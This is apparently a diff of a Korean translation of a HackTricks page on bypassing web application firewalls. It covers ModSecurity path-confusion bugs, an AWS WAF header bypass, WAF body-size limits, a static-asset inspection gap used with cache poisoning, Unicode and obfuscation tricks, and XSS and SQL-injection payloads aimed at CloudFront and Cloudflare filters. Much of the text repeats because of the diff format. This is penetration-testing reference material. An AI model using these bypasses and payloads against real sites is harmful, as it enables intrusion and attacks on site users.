[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3(3.0.12까지)가 접근된 경로(매개변수 시작까지)를 포함해야 하는 `REQUEST_FILENAME` 변수를 **부적절하게 구현했다**고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다.\
|
||||
따라서 mod security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 `%3f`가 `?`로 변환되어 URL 경로가 종료되기 때문에 경로가 단지 `/foo`라고 가정하지만, 실제로 서버가 받을 경로는 `/foo%3f';alert(1);foo=`입니다.
|
||||
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3(3.0.12까지)가 접근된 경로(매개변수 시작 전)를 포함해야 하는 `REQUEST_FILENAME` 변수를 **부적절하게 구현했다**고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다.\
|
||||
따라서 mod security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 `%3f`가 `?`로 변환되어 URL 경로가 끝나기 때문에 경로가 단지 `/foo`라고 가정하지만, 실제로 서버가 받을 경로는 `/foo%3f';alert(1);foo=`입니다.
|
||||
|
||||
변수 `REQUEST_BASENAME`과 `PATH_INFO`도 이 버그의 영향을 받았습니다.
|
||||
|
||||
Mod Security 버전 2에서도 비슷한 일이 발생하여 특정 확장자와 관련된 백업 파일(예: `.bak`)에 대한 사용자 접근을 방지하는 보호를 우회할 수 있었습니다. 이는 점을 `%2e`로 URL 인코딩하여 전송함으로써 가능했습니다. 예를 들어: `https://example.com/backup%2ebak`.
|
||||
Mod Security 버전 2에서도 비슷한 일이 발생하여 특정 확장자(예: `.bak`)와 관련된 파일에 대한 접근을 방지하는 보호를 우회할 수 있었습니다. 이는 점을 `%2e`로 URL 인코딩하여 전송함으로써 가능했습니다. 예를 들어: `https://example.com/backup%2ebak`.
|
||||
|
||||
## AWS WAF ACL 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
@ -87,7 +87,7 @@ Mod Security 버전 2에서도 비슷한 일이 발생하여 특정 확장자와
|
||||
|
||||
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)에서는 AWS가 제대로 파싱하지 못한 "잘못된" 헤더를 전송함으로써 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었다고 언급합니다. 그러나 백엔드 서버는 이를 파싱할 수 있었습니다.
|
||||
|
||||
예를 들어, 헤더 X-Query에 SQL 인젝션이 포함된 다음 요청을 전송합니다:
|
||||
예를 들어, X-Query 헤더에 SQL 인젝션을 포함한 다음 요청을 전송합니다:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
@ -96,7 +96,7 @@ X-Query: Value\r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤더 값의 일부임을 이해했지만 WAF는 이해하지 못했기 때문입니다(이 문제는 수정되었습니다).
|
||||
AWS WAF를 우회할 수 있었던 이유는 다음 줄이 헤더의 값의 일부라는 것을 이해하지 못했기 때문이며, NODEJS 서버는 이를 이해했습니다(이 문제는 수정되었습니다).
|
||||
|
||||
## 일반적인 WAF 우회
|
||||
|
||||
@ -110,20 +110,37 @@ AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤
|
||||
|
||||
- [**Azure 문서**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**에서:**
|
||||
|
||||
구형 웹 애플리케이션 방화벽(Core Rule Set 3.1 이하)은 요청 본문 검사를 끔으로써 **128 KB**보다 큰 메시지를 허용하지만, 이러한 메시지는 취약점 검사를 받지 않습니다. 최신 버전(Core Rule Set 3.2 이상)에서는 최대 요청 본문 제한을 비활성화하여 동일한 작업을 수행할 수 있습니다. 요청이 크기 제한을 초과하면:
|
||||
Core Rule Set 3.1(또는 그 이하)의 이전 웹 애플리케이션 방화벽은 요청 본문 검사를 끄면 **128 KB**보다 큰 메시지를 허용하지만, 이러한 메시지는 취약점 검사를 받지 않습니다. 최신 버전(Core Rule Set 3.2 이상)에서는 최대 요청 본문 제한을 비활성화하여 동일한 작업을 수행할 수 있습니다. 요청이 크기 제한을 초과하면:
|
||||
|
||||
**차단 모드**: 요청을 기록하고 차단합니다.\
|
||||
**탐지 모드**: 제한까지 검사하고 나머지는 무시하며, `Content-Length`가 제한을 초과하면 기록합니다.
|
||||
|
||||
- [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**에서:**
|
||||
|
||||
기본적으로 WAF는 요청의 처음 8KB만 검사합니다. 고급 메타데이터를 추가하여 최대 128KB까지 제한을 늘릴 수 있습니다.
|
||||
기본적으로 WAF는 요청의 첫 8KB만 검사합니다. 고급 메타데이터를 추가하여 제한을 128KB까지 늘릴 수 있습니다.
|
||||
|
||||
- [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**에서:**
|
||||
|
||||
최대 128KB.
|
||||
|
||||
### 난독화 <a href="#obfuscation" id="obfuscation"></a>
|
||||
### 정적 자산 검사 간극 (.js GETs)
|
||||
|
||||
일부 CDN/WAF 스택은 정적 자산에 대한 GET 요청에 대해 약하거나 전혀 콘텐츠 검사를 적용하지 않으며(예: `.js`로 끝나는 경로), 여전히 속도 제한 및 IP 평판과 같은 전역 규칙을 적용합니다. 정적 확장자의 자동 캐싱과 결합하면, 이는 후속 HTML 응답에 영향을 미치는 악성 변형을 전달하거나 씨앗을 뿌리는 데 악용될 수 있습니다.
|
||||
|
||||
실용적인 사용 사례:
|
||||
|
||||
- 콘텐츠 검사를 피하기 위해 `.js` 경로에 GET 요청을 보낼 때 신뢰할 수 없는 헤더(예: `User-Agent`)에 페이로드를 전송한 후, 즉시 메인 HTML을 요청하여 캐시된 변형에 영향을 미칩니다.
|
||||
- 새롭고 깨끗한 IP를 사용합니다; IP가 플래그가 지정되면 라우팅 변경으로 인해 기술이 신뢰할 수 없게 될 수 있습니다.
|
||||
- Burp Repeater에서 "병렬로 그룹 전송" (단일 패킷 스타일)을 사용하여 두 요청(`.js` 다음 HTML)을 동일한 프론트엔드 경로를 통해 경합시킵니다.
|
||||
|
||||
이것은 헤더 반사 캐시 오염과 잘 결합됩니다. 참조:
|
||||
|
||||
- {{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
- [공개 BBP에서 0-클릭 계정 탈취를 발견하고 이를 활용하여 관리자 수준 기능에 접근한 방법](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### 난독화 <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
@ -131,9 +148,9 @@ AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤
|
||||
# Path blacklist bypass - Tomcat
|
||||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||||
```
|
||||
### 유니코드 호환성 <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
### Unicode 호환성 <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
유니코드 정규화의 구현에 따라 (자세한 정보는 [여기](https://jlajara.gitlab.io/Bypass_WAF_Unicode) 참조), 유니코드 호환성을 공유하는 문자들은 WAF를 우회하고 의도된 페이로드로 실행될 수 있습니다. 호환 가능한 문자는 [여기](https://www.compart.com/en/unicode)에서 찾을 수 있습니다.
|
||||
Unicode 정규화의 구현에 따라 (자세한 정보는 [여기](https://jlajara.gitlab.io/Bypass_WAF_Unicode) 참조), Unicode 호환성을 공유하는 문자들은 WAF를 우회하고 의도된 페이로드로 실행될 수 있습니다. 호환 가능한 문자는 [여기](https://www.compart.com/en/unicode)에서 찾을 수 있습니다.
|
||||
|
||||
#### 예시 <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -158,7 +175,7 @@ AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
또한, **일부 WAF가 사용자 입력의 컨텍스트를 이해하는 방식에 따라** 이를 악용할 수 있는 가능성이 있다고 언급됩니다. 블로그에서 제안된 예는 Akamai가 `/*`와 `*/` 사이에 무엇이든 넣는 것을 허용(했을) 수 있다는 것입니다(이는 일반적으로 주석으로 사용되기 때문입니다). 따라서 `/*'or sleep(5)-- -*/`와 같은 SQL 인젝션은 포착되지 않으며, `/*`가 인젝션의 시작 문자열이고 `*/`가 주석 처리되기 때문에 유효합니다.
|
||||
또한, **일부 WAF가 사용자 입력의 컨텍스트를 이해하는 방식에 따라** 이를 악용할 수 있는 가능성이 있다고 언급됩니다. 블로그에서 제안된 예시는 Akamai가 `/*`와 `*/` 사이에 무엇이든 넣는 것을 허용했다는 것입니다(이는 일반적으로 주석으로 사용되기 때문일 수 있습니다). 따라서 `/*'or sleep(5)-- -*/`와 같은 SQL 인젝션은 포착되지 않으며, `/*`가 인젝션의 시작 문자열이고 `*/`가 주석 처리되기 때문에 유효합니다.
|
||||
|
||||
이러한 종류의 컨텍스트 문제는 WAF가 악용할 것으로 예상하는 것 외의 다른 취약점을 **악용하는 데에도 사용될 수 있습니다**(예: 이는 XSS를 악용하는 데에도 사용될 수 있습니다).
|
||||
|
||||
@ -201,7 +218,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
```
|
||||
## 도구
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): 길이를 통해 WAF를 우회하기 위해 요청에 잡동사니 데이터를 추가하는 Burp 플러그인
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): 길이를 통해 WAF를 우회하기 위해 요청에 쓰레기 데이터를 추가하는 Burp 플러그인
|
||||
|
||||
## 참고자료
|
||||
|
||||
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user